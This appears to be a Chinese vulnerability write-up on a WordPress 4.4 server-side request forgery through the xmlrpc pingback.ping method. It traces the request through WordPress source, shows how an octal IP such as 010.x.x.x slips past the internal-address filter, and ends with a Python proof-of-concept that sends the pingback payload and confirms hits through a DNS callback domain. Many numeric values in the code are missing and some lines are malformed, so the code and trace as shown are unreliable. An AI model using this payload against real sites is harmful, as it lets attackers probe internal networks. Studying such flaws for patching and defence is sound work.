天天看點

WordPress 4.4 SSRF

通過這個漏洞熟悉一下WP的代碼。

WordPress 4.4 SSRF

資料跟蹤

[xmlrpc.php]

擷取POST的資料

$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
           

建立xmlrpc_server,使用

serve_request()

方法處理輸入。

$wp_xmlrpc_server_class = apply_filters( 'wp_xmlrpc_server_class', 'wp_xmlrpc_server' );
$wp_xmlrpc_server = new $wp_xmlrpc_server_class;

// Fire off the request
$wp_xmlrpc_server->serve_request();
           

[wp-includes/class-wp-xmlrpc-server.php]

public function serve_request()

line 194

$this->IXR_Server($this->methods);
           

[wp-includes/class-IXR.php]

public function IXR_Server()

line 432

[wp-includes/class-IXR.php]

function serve($data = false)

line 470

$result = $this->call($this->message->methodName, $this->message->params);
           

[wp-includes/class-IXR.php]

function call($methodname, $args)

line 520:

$result = $this->method($args) 

//method:"pingback_ping"
//args:{"http://139.129.132.156:8080/","http://localhost/wordpress/?p=1"}
           

[wp-includes/class-wp-xmlrpc-server.php]

public function pingback_ping($args)

line 6181

$pagelinkedfrom = apply_filters( 'pingback_ping_source_uri', $pagelinkedfrom, $pagelinkedto );

//$pagelinkedfrom:"http://139.129.132.156:8080/"
//$pagelinkedto:"http://localhost/wordpress/?p=1"
           

[wp-includes/plugin.php]

function apply_filters( $tag, $value )

line 235

$value = call_user_func_array($the_['function'], array_slice($args, , (int) $the_['accepted_args']));

//$args:{"pingback_ping_source_uri","http://139.129.132.156:8080/","http://localhost/wordpress/?p=1"}
//$the_['function']="pingback_ping_source_uri"
//$the_['accepted_args']=
           

[wp-includes/comment.php]

function pingback_ping_source_uri( $source_uri )

line 2435

return (string) wp_http_validate_url( $source_uri );

//$source_uri:"http://139.129.132.156:8080/"
           

[wp-includes/http.php]

function wp_http_validate_url( $url )

line 528

$host = trim( $parsed_url['host'], '.' ); // $host="139.129.132.156"
if ( preg_match( '#^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $host ) ) {
    $ip = $host;
} else {
    $ip = gethostbyname( $host );
    if ( $ip === $host ) // Error condition for gethostbyname()
        $ip = false;
}
if ( $ip ) {
    $parts = array_map( 'intval', explode( '.', $ip ) );
    if (  === $parts[] ||  === $parts[] ||  === $parts[]
        || (  === $parts[] &&  <= $parts[] &&  >= $parts[] )
        || (  === $parts[] &&  === $parts[] )
    ) {
        // If host appears local, reject unless specifically allowed.
        /**
         * Check if HTTP request is external or not.
         *
         * Allows to change and allow external requests for the HTTP request.
         *
         * @since .
         *
         * @param bool   false Whether HTTP request is external or not.
         * @param string $host IP of the requested host.
         * @param string $url  URL of the requested host.
         */
        if ( ! apply_filters( 'http_request_host_is_external', false, $host, $url ) )
            return false;
    }
}
           

代碼中對首先判斷輸入是否為IP,然後對本地的IP位址進行過濾(127,10,192)。

由于URL接受8進制,即輸入為

http://010.10.43.2

時,會滿足第一次正則校檢,同時可以繞過第二次的過濾,造成内網10位址段的SSRF。

經過檢查之後的資料回到pingback_ping:

[wp-includes/class-wp-xmlrpc-server.php]

public function pingback_ping($args)

line 6262

$request = wp_safe_remote_get( $pagelinkedfrom, $http_api_args );

//$pagelinkedfrom="8080"
           

[wp-includes/http.php]

function pings_open( $post_id = null )

function wp_safe_remote_get( $url, $args = array() ) {
    $args['reject_unsafe_urls'] = true;
    $http = _wp_http_get_object();
    return $http->get( $url, $args );
}
           

[wp-includes/class-http.php]

public function get($url, $args = array())

line 430

return $this->request($url, $r);
           

[wp-includes/class-http.php]

public function request( $url, $args = array() )

line 277

$response = $this->_dispatch_request( $url, $r );
           

[wp-includes/class-http.php]

private function _dispatch_request( $url, $args )

line 367

$response = $transports[$class]->request( $url, $args );
           

[wp-includes/class-wp-http-curl.php]

public function request($url, $args = array())

line 239

curl_exec( $handle );
           

到此發包動作結束,公網主機接受到資料:

WordPress 4.4 SSRF

随後處理回顯,無論成功與否都會傳回:

WordPress 4.4 SSRF

修複與PoC

通過xmlrpc對外網的SSRF目前

WP 5.X-latest

仍然可用。

但通路内網的漏洞在5.x版本已補,官方修複方式為更改了判定IP的正則,使

http://010.xxxx

這種IP無法通過。

由于沒有回顯,隻能使用CloudEye的DNS日志和Apache日志确認目标。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# author = [email protected]
# project = https://github.com/Xyntax/POC-T

"""
WordPress 4.4 Server Side Request Forgery (SSRF)
Version
  WordPress <= 4.4.2
"""

import requests
from plugin.cloudeye import CloudEye

req_timeout = 


def poc(url):
    if '://' not in url:
        url = 'http://' + url
    targeturl = url.rstrip('/') + "/xmlrpc.php"

    c = CloudEye()
    dst = c.getRandomDomain('wpssrf')

    # 第一個位址段為SSRF的目标位址,格式為(http[s]://IP|DOAMIN)[:(80|8080|443)]。
    # 隻能這三個端口,外網位址全通,内網位址被過濾,可用8進制突破10開頭的位址段。
    # 第二個位址段需要該站實際存在的文章位址,用?p=1自動适配。
    payload = """
        <?xml version="1.0" encoding="iso-8859-1"?>
        <methodCall>
        <methodName>pingback.ping</methodName>
        <params>
        <param><value><string>http://{target}/</string></value></param>
        <param><value><string>{victim}?p=1</string></value></param>
        </params>
        </methodCall>""".format(target=dst, victim=url.rstrip('/') + '/')

    header = {'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0',
              'Content-Type': 'text/xml'}
    try:
        # 無法從回顯判斷
        requests.post(targeturl, data=payload, headers=header, timeout=req_timeout)
        if c.verifyDNS(delay=):
            return True
    except Exception, e:
        pass
return False
           

繼續閱讀